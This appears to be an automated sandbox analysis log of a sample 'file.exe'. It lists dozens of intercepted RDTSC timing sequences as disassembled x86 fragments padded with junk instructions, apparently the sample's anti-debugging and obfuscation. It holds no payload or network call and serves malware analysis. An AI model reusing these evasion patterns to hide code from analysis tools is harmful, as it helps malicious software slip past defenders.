Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9003F second address: 4E90081 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F19ECFD9941h 0x00000008 pop esi 0x00000009 call 00007F19ECFD9941h 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov ebp, esp 0x00000014 pushad 0x00000015 call 00007F19ECFD993Dh 0x0000001a movzx eax, bx 0x0000001d pop edi 0x0000001e push eax 0x0000001f push edx 0x00000020 mov ah, 72h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90081 second address: 4E900C1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F19ECFDC0D5h 0x00000008 sub cl, FFFFFF96h 0x0000000b jmp 00007F19ECFDC0D1h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F19ECFDC0CDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6032C second address: 4E603F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F19ECFD993Fh 0x00000009 sbb ax, B61Eh 0x0000000e jmp 00007F19ECFD9949h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F19ECFD993Dh 0x00000021 sbb ah, 00000056h 0x00000024 jmp 00007F19ECFD9941h 0x00000029 popfd 0x0000002a pushfd 0x0000002b jmp 00007F19ECFD9940h 0x00000030 add ecx, 6B729678h 0x00000036 jmp 00007F19ECFD993Bh 0x0000003b popfd 0x0000003c popad 0x0000003d xchg eax, ebp 0x0000003e pushad 0x0000003f mov esi, 6864C1CBh 0x00000044 mov ax, AFA7h 0x00000048 popad 0x00000049 mov ebp, esp 0x0000004b jmp 00007F19ECFD993Ah 0x00000050 mov eax, dword ptr [ebp+08h] 0x00000053 jmp 00007F19ECFD9940h 0x00000058 and dword ptr [eax], 00000000h 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F19ECFD9947h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40477 second address: 4E404B1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F19ECFDC0D0h 0x00000008 sbb cl, 00000018h 0x0000000b jmp 00007F19ECFDC0CBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F19ECFDC0D0h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E404B1 second address: 4E404B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D75 second address: 4E50D79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D79 second address: 4E50D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D7F second address: 4E50D85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D85 second address: 4E50DF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F19ECFD9944h 0x00000010 jmp 00007F19ECFD9945h 0x00000015 popfd 0x00000016 pushfd 0x00000017 jmp 00007F19ECFD9940h 0x0000001c adc ah, FFFFFFE8h 0x0000001f jmp 00007F19ECFD993Bh 0x00000024 popfd 0x00000025 popad 0x00000026 mov dword ptr [esp], ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F19ECFD9940h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50DF2 second address: 4E50DF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50DF8 second address: 4E50DFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6015E second address: 4E60164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60164 second address: 4E60180 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD993Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edi, si 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60180 second address: 4E601A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E601A0 second address: 4E601BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9946h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80743 second address: 4E80747 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80747 second address: 4E8074D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8074D second address: 4E807BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push ebx 0x0000000c pushfd 0x0000000d jmp 00007F19ECFDC0CEh 0x00000012 or eax, 56445E78h 0x00000018 jmp 00007F19ECFDC0CBh 0x0000001d popfd 0x0000001e pop esi 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 pushad 0x00000023 mov ax, di 0x00000026 pushfd 0x00000027 jmp 00007F19ECFDC0D1h 0x0000002c jmp 00007F19ECFDC0CBh 0x00000031 popfd 0x00000032 popad 0x00000033 xchg eax, ecx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F19ECFDC0D5h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807BF second address: 4E807CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFD993Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807CF second address: 4E807EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 mov si, D457h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807EB second address: 4E807F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807F1 second address: 4E807F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807F5 second address: 4E8080E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F19ECFD993Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8080E second address: 4E80814 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80814 second address: 4E80818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80818 second address: 4E8081C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8081C second address: 4E80892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [774365FCh] 0x0000000d pushad 0x0000000e pushad 0x0000000f mov dl, 3Fh 0x00000011 popad 0x00000012 mov eax, ebx 0x00000014 popad 0x00000015 test eax, eax 0x00000017 jmp 00007F19ECFD993Fh 0x0000001c je 00007F1A5F50CA5Ah 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F19ECFD9944h 0x00000029 sub ecx, 785B4CB8h 0x0000002f jmp 00007F19ECFD993Bh 0x00000034 popfd 0x00000035 mov si, 3CEFh 0x00000039 popad 0x0000003a mov ecx, eax 0x0000003c jmp 00007F19ECFD9942h 0x00000041 xor eax, dword ptr [ebp+08h] 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80892 second address: 4E808AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8099D second address: 4E809A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E809A3 second address: 4E809C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 mov esi, 77058BEFh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F19ECFDC0CCh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E809C2 second address: 4E809D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD993Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E809D1 second address: 4E80A44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b push eax 0x0000000c call 00007F19F166C9EEh 0x00000011 mov edi, edi 0x00000013 pushad 0x00000014 mov dh, al 0x00000016 pushfd 0x00000017 jmp 00007F19ECFDC0D9h 0x0000001c and ch, 00000016h 0x0000001f jmp 00007F19ECFDC0D1h 0x00000024 popfd 0x00000025 popad 0x00000026 xchg eax, ebp 0x00000027 jmp 00007F19ECFDC0CEh 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F19ECFDC0CEh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80A44 second address: 4E80A4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80A4A second address: 4E80A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80A4E second address: 4E80A6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD993Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov di, 13AEh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80A6C second address: 4E80A9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov bh, al 0x0000000e mov bh, 01h 0x00000010 popad 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F19ECFDC0D1h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80A9E second address: 4E80AAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFD993Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30052 second address: 4E30058 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30058 second address: 4E300C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 mov al, 32h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F19ECFD9949h 0x00000012 and esp, FFFFFFF8h 0x00000015 jmp 00007F19ECFD993Eh 0x0000001a xchg eax, ecx 0x0000001b jmp 00007F19ECFD9940h 0x00000020 push eax 0x00000021 jmp 00007F19ECFD993Bh 0x00000026 xchg eax, ecx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F19ECFD9942h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E300C2 second address: 4E30114 instructions: 0x00000000 rdtsc 0x00000002 mov cx, D641h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F19ECFDC0CEh 0x0000000d mov ax, D1B1h 0x00000011 pop esi 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F19ECFDC0CFh 0x0000001d or cx, 931Eh 0x00000022 jmp 00007F19ECFDC0D9h 0x00000027 popfd 0x00000028 mov edx, ecx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30114 second address: 4E301A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F19ECFD9943h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F19ECFD9949h 0x0000000f sbb ecx, 50EA7AB6h 0x00000015 jmp 00007F19ECFD9941h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov dword ptr [esp], ebx 0x00000021 jmp 00007F19ECFD993Eh 0x00000026 mov ebx, dword ptr [ebp+10h] 0x00000029 jmp 00007F19ECFD9940h 0x0000002e xchg eax, esi 0x0000002f jmp 00007F19ECFD9940h 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F19ECFD993Eh 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E301A6 second address: 4E3023F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov dh, cl 0x0000000d pushfd 0x0000000e jmp 00007F19ECFDC0D1h 0x00000013 adc eax, 404C0986h 0x00000019 jmp 00007F19ECFDC0D1h 0x0000001e popfd 0x0000001f popad 0x00000020 mov esi, dword ptr [ebp+08h] 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F19ECFDC0D3h 0x0000002c or ecx, 409948BEh 0x00000032 jmp 00007F19ECFDC0D9h 0x00000037 popfd 0x00000038 pushfd 0x00000039 jmp 00007F19ECFDC0D0h 0x0000003e sbb cl, FFFFFFB8h 0x00000041 jmp 00007F19ECFDC0CBh 0x00000046 popfd 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3023F second address: 4E30257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFD9944h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30257 second address: 4E30290 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c jmp 00007F19ECFDC0D6h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F19ECFDC0CEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30290 second address: 4E302A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFD993Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E302A2 second address: 4E302F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 jmp 00007F19ECFDC0D7h 0x0000000e test esi, esi 0x00000010 jmp 00007F19ECFDC0D6h 0x00000015 je 00007F1A5F55A401h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F19ECFDC0D7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E302F9 second address: 4E30397 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007F19ECFD993Eh 0x00000015 je 00007F1A5F557C36h 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F19ECFD993Eh 0x00000022 or eax, 0AEB0258h 0x00000028 jmp 00007F19ECFD993Bh 0x0000002d popfd 0x0000002e push esi 0x0000002f pushad 0x00000030 popad 0x00000031 pop edi 0x00000032 popad 0x00000033 mov edx, dword ptr [esi+44h] 0x00000036 jmp 00007F19ECFD9940h 0x0000003b or edx, dword ptr [ebp+0Ch] 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F19ECFD993Dh 0x00000047 and cx, 50A6h 0x0000004c jmp 00007F19ECFD9941h 0x00000051 popfd 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2076B second address: 4E20771 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20771 second address: 4E2078E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9942h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2078E second address: 4E207AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E207AB second address: 4E207E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F19ECFD9941h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F19ECFD993Eh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E207E9 second address: 4E207ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E207ED second address: 4E207F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E207F1 second address: 4E207F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E207F7 second address: 4E20820 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9944h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F19ECFD993Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20820 second address: 4E20826 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20826 second address: 4E2085A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD993Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F19ECFD9940h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F19ECFD993Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2085A second address: 4E20860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20860 second address: 4E20864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20864 second address: 4E208AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d mov ax, 2C43h 0x00000011 pushfd 0x00000012 jmp 00007F19ECFDC0D8h 0x00000017 sbb cl, 00000008h 0x0000001a jmp 00007F19ECFDC0CBh 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov ch, dl 0x00000027 mov bl, cl 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E208AF second address: 4E208B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E208B5 second address: 4E208EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F19ECFDC0D8h 0x00000012 add cx, 5DC8h 0x00000017 jmp 00007F19ECFDC0CBh 0x0000001c popfd 0x0000001d mov dx, ax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E208EF second address: 4E208F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E208F4 second address: 4E20917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F19ECFDC0D5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20917 second address: 4E2091D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2091D second address: 4E2099E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F19ECFDC0CAh 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov esi, dword ptr [ebp+08h] 0x00000011 pushad 0x00000012 mov di, AAA0h 0x00000016 pushfd 0x00000017 jmp 00007F19ECFDC0D9h 0x0000001c or cl, FFFFFFA6h 0x0000001f jmp 00007F19ECFDC0D1h 0x00000024 popfd 0x00000025 popad 0x00000026 sub ebx, ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov esi, 2C5B13CFh 0x00000030 pushfd 0x00000031 jmp 00007F19ECFDC0D4h 0x00000036 jmp 00007F19ECFDC0D5h 0x0000003b popfd 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2099E second address: 4E209BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov ch, DCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E209BA second address: 4E20A2C instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 41CAA3FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov bh, 05h 0x0000000b popad 0x0000000c je 00007F1A5F561A8Eh 0x00000012 jmp 00007F19ECFDC0CAh 0x00000017 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001e jmp 00007F19ECFDC0D0h 0x00000023 mov ecx, esi 0x00000025 jmp 00007F19ECFDC0D0h 0x0000002a je 00007F1A5F561A6Ah 0x00000030 jmp 00007F19ECFDC0D0h 0x00000035 test byte ptr [77436968h], 00000002h 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f call 00007F19ECFDC0CCh 0x00000044 pop esi 0x00000045 rdtsc
